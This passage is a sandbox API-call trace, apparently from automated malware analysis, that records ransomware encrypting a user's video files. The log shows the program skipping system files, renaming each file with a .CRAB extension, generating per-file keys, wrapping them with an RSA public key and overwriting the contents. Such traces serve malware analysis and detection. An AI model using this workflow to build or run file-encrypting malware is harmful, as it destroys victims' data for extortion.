	[0134.165] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248e70) returned 1
	[0134.165] CryptGetKeyParam (in: hKey=0x3248e70, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.165] CryptEncrypt (in: hKey=0x3248e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.165] GetLastError () returned 0x0
	[0134.165] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.165] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0134.167] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248eb0) returned 1
	[0134.167] CryptGetKeyParam (in: hKey=0x3248eb0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.167] CryptEncrypt (in: hKey=0x3248eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.167] GetLastError () returned 0x0
	[0134.167] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0134.167] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\gyrk.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.168] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.168] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.168] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0xcea0, lpOverlapped=0x0) returned 1
	[0134.180] VirtualAlloc (lpAddress=0x0, dwSize=0xcea0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.182] VirtualAlloc (lpAddress=0x0, dwSize=0xcea0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.183] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.183] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff3160, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.183] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xcea0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xcea0, lpOverlapped=0x0) returned 1
	[0134.184] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.184] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.188] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.188] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.188] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.188] CloseHandle (hObject=0x3e8) returned 1
	[0134.188] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.189] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.189] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.189] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.189] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.189] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.190] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.190] lstrcmpW (lpString1="H8Pp.avi", lpString2=".") returned 1
	[0134.190] lstrcmpW (lpString1="H8Pp.avi", lpString2="..") returned 1
	[0134.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="H8Pp.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi"
	[0134.190] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.190] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi") returned 37
	[0134.190] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi") returned 37
	[0134.190] lstrlenW (lpString=".avi") returned 4
	[0134.190] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.190] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0134.190] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.191] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi") returned 37
	[0134.191] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi") returned 37
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="desktop.ini") returned 1
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="autorun.inf") returned 1
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="ntuser.dat") returned -1
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="iconcache.db") returned -1
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="bootsect.bak") returned 1
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="boot.ini") returned 1
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="ntuser.dat.log") returned -1
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="thumbs.db") returned -1
	[0134.191] lstrcmpiW (lpString1="H8Pp.avi", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.191] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.191] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB") returned 42
	[0134.191] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h8pp.avi")) returned 0x20
	[0134.192] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi", dwFileAttributes=0x20) returned 1
	[0134.192] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h8pp.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h8pp.avi.crab")) returned 1
	[0134.193] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.193] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB"
	[0134.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB.CRAB"
	[0134.193] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0134.194] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.195] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.195] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.195] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.195] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0134.195] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.195] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0134.196] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.197] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.197] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.197] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.197] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0134.197] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.197] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.198] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.198] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.199] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248ff0) returned 1
	[0134.199] CryptGetKeyParam (in: hKey=0x3248ff0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.199] CryptEncrypt (in: hKey=0x3248ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.199] GetLastError () returned 0x0
	[0134.200] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.200] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e738) returned 1
	[0134.201] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32492b0) returned 1
	[0134.201] CryptGetKeyParam (in: hKey=0x32492b0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.201] CryptEncrypt (in: hKey=0x32492b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.201] GetLastError () returned 0x0
	[0134.201] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0134.201] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\H8Pp.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h8pp.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.202] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.202] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.202] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0xe95f, lpOverlapped=0x0) returned 1
	[0134.214] VirtualAlloc (lpAddress=0x0, dwSize=0xe960, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.216] VirtualAlloc (lpAddress=0x0, dwSize=0xe960, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.217] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.218] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff16a1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.218] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xe960, lpOverlapped=0x0) returned 1
	[0134.218] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.218] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.222] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.222] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.222] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.222] CloseHandle (hObject=0x3e8) returned 1
	[0134.223] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.223] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.223] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.223] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.223] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.224] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.224] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.224] lstrcmpW (lpString1="IwOdkCLMr.flv", lpString2=".") returned 1
	[0134.224] lstrcmpW (lpString1="IwOdkCLMr.flv", lpString2="..") returned 1
	[0134.224] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="IwOdkCLMr.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv"
	[0134.224] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.224] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv") returned 42
	[0134.224] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv") returned 42
	[0134.224] lstrlenW (lpString=".flv") returned 4
	[0134.224] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.225] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0134.225] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.225] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv") returned 42
	[0134.225] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv") returned 42
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="desktop.ini") returned 1
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="autorun.inf") returned 1
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="ntuser.dat") returned -1
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="iconcache.db") returned 1
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="bootsect.bak") returned 1
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="boot.ini") returned 1
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="ntuser.dat.log") returned -1
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="thumbs.db") returned -1
	[0134.225] lstrcmpiW (lpString1="IwOdkCLMr.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.225] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.226] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB") returned 47
	[0134.226] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\iwodkclmr.flv")) returned 0x20
	[0134.226] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv", dwFileAttributes=0x20) returned 1
	[0134.226] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\iwodkclmr.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\iwodkclmr.flv.crab")) returned 1
	[0134.227] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.227] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB"
	[0134.227] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB.CRAB"
	[0134.227] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0134.229] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.229] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.229] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.229] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.229] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.230] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.231] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.231] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.231] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.231] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.231] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.232] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.232] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.232] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0134.233] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249470) returned 1
	[0134.233] CryptGetKeyParam (in: hKey=0x3249470, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.233] CryptEncrypt (in: hKey=0x3249470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.234] GetLastError () returned 0x0
	[0134.234] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.234] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e738) returned 1
	[0134.235] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32494b0) returned 1
	[0134.235] CryptGetKeyParam (in: hKey=0x32494b0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.235] CryptEncrypt (in: hKey=0x32494b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.236] GetLastError () returned 0x0
	[0134.236] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0134.236] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\IwOdkCLMr.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\iwodkclmr.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.236] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.236] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.237] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0xcd2c, lpOverlapped=0x0) returned 1
	[0134.249] VirtualAlloc (lpAddress=0x0, dwSize=0xcd30, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.250] VirtualAlloc (lpAddress=0x0, dwSize=0xcd30, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.252] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.252] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff32d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.252] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xcd30, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xcd30, lpOverlapped=0x0) returned 1
	[0134.252] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.253] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.256] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.256] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.256] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.257] CloseHandle (hObject=0x3e8) returned 1
	[0134.257] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.257] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
